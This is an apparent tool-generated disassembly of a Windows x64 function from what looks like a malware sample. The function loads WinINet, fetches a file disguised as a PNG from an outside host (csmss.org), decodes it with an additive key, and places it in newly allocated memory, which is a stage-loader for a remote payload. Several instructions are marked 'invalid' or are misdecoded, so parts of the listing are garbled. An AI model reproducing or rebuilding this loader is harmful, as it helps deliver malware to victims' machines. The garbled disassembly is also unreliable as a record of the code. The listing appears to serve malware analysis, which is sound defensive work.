Function at 0x1400d79fc
Capabilities:
Terminate process

Disassembly:
push rbp
push r14
push r15
push rbp
sub rsp, 0x68
mov rcx, qword [str.KERNEL32.dll]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, dword [0x14019cb2c]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
invalid
add byte [rax - 0x77], cl
invalid
xor ecx, ecx
mov rdx, rbp
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r8d, r8d
xor eax, eax
movzx r9d, word [rbp + r8*2]
cmp r9d, 0x5c
je 0x1400d7e29
test r9d, r9d
je 0x1400d7a61
inc r8
jmp 0x1400d7a47
lea r13, [rbp + rax*2 + 2]
mov rbp, qword [0x14019cb0c]
cmp dword [rbp], 0
invalid
je 0x1400d7abf
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrlenW]
invalid
sbb eax, 0xb60f0006
sar byte [rdx], 0x45
invalid
invalid
je 0x1400d7a8d
cmp al, byte [rbp + 1]
jne 0x1400d7b5a
movzx r8d, word [r13]
xor edx, edx
xor eax, eax
test r8d, r8d
je 0x1400d7ab1
movzx r8d, word [r13 + rax*2]
add edx, r8d
inc eax
movzx r9d, word [r13 + rax*2]
test r9d, r9d
jne 0x1400d7a9b
cmp edx, dword [rbp + 4]
je 0x1400d7abf
cmp edx, dword [rbp + 8]
jne 0x1400d7b5a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, dword [0x14019cb2c]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
mov rcx, qword [str.WININET.DLL]
add byte [rbp - 0x77], cl
cmc
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbp, rax
mov rdx, qword [str.InternetOpenA]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
mov rcx, rbp
mov rdx, qword [str.InternetOpenUrlA]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
mov rcx, rbp
mov rdx, qword [str.InternetReadFile]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rsp
xor r8d, r8d
ror byte [rax - 0x77], 0x44
and al, 0x50
mov edx, 1
xor r9d, r9d
xor eax, eax
mov r10, qword [rsp + 0x40]
mov rcx, qword [str.NETDL1.0]
mov dword [rsp + 0x58], eax
mov dword [rbp + 0x20], eax
call r10
mov rcx, rax
test rcx, rcx
jne 0x1400d7b62
mov r10, rsp
xor r8d, r8d
mov rax, qword [rsp + 0x48]
xor r9d, r9d
mov rdx, qword [str.https:__csmss.org_admin_uploads_award_award50.png]
mov ebp, dword [0x14019caf4]
mov dword [r10 + 0x20], ebp
mov qword [r10 + 0x28], 0
call rax
mov rbp, rax
test rbp, rbp
je 0x1400d7b5a
mov rcx, rbp
lea r9, [rsp + 0x58]
mov rdx, r14
mov rax, qword [r9 - 8]
mov r8d, dword [0x14019cb2c]
call rax
test eax, eax
je 0x1400d7bee
mov qword [rsp + 0x30], rdi
lea rdi, [rsp + 0x58]
mov qword [rsp + 0x38], r12
mov eax, dword [rsp + 0x58]
test eax, eax
jbe 0x1400d7be4
add r13, rax
mov rcx, rbp
mov rdx, r13
mov r9, rdi
mov rax, qword [rsp + 0x50]
mov r8d, dword [0x14019cb2c]
call rax
test eax, eax
jne 0x1400d7bbe
mov rdi, qword [rsp + 0x30]
mov r12, qword [rsp + 0x38]
cmp r13, r14
je 0x1400d7b5a
mov ebp, dword [r14]
xor eax, eax
mov r8, qword [0x14019cacc]
mov r9d, dword [r8 + rax]
add r9d, ebp
mov dword [rax + r13], r9d
add rax, 4
cmp rax, 0x14
jl 0x1400d7bfc
mov rcx, r15
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400d7b5a
xor ecx, ecx
mov r8d, 0x1000
mov edx, dword [0x14019cb2c]
mov r9d, dword [0x14019cb14]
call rax
mov r8, rax
mov r9d, dword [0x14019cae4]
lea rcx, [r8 + 8]
mov r10, qword [0x14019caa8]
add r9, r10
and rcx, 0xf
mov r10d, dword [r9 + 4]
test ecx, ecx
je 0x1400d7c94
test cl, 3
jne 0x1400d7e1e
neg ecx
xor edx, edx
add ecx, 0x10
shr ecx, 2
mov eax, ecx
mov ebp, dword [r9 + rdx*4 + 8]
add ebp, r10d
mov dword [r8 + rdx*4 + 8], ebp
inc rdx
cmp rdx, rax
jb 0x1400d7c7d
jmp 0x1400d7c96
xor eax, eax
mov edx, ecx
lea ecx, [rcx*4 + 8]
neg edx
add edx, 0xe
add rcx, r9
and edx, 0xf
neg edx
lea ebp, [rdx + 0x17fe]
mov r11d, ebp
test rcx, 0xf
je 0x1400d7d1a
movd xmm0, r10d
pshufd xmm0, xmm0, 0
nop dword [rax]
movd xmm0, r10d
pshufd xmm0, xmm0, 0
nop dword [rax]
lea rcx, [r9 + rax*4 + 8]
movdqu xmm1, xmmword [rcx]
paddd xmm1, xmm0
movdqu xmmword [r8 + rax*4 + 8], xmm1
movdqu xmm2, xmmword [rcx + 0x10]
paddd xmm2, xmm0
movdqu xmmword [r8 + rax*4 + 0x18], xmm2
movdqu xmm3, xmmword [rcx + 0x20]
paddd xmm3, xmm0
movdqu xmmword [r8 + rax*4 + 0x28], xmm3
movdqu xmm4, xmmword [rcx + 0x30]
paddd xmm4, xmm0
movdqu xmmword [r8 + rax*4 + 0x38], xmm4
add rax, 0x10
cmp rax, r11
jb 0x1400d7d2b
xor ebp, ebp
mov ecx, 0x17fe
xor eax, eax
jmp 0x1400d7dc9
movsxd rax, r8d
jmp 0x1400d7a5c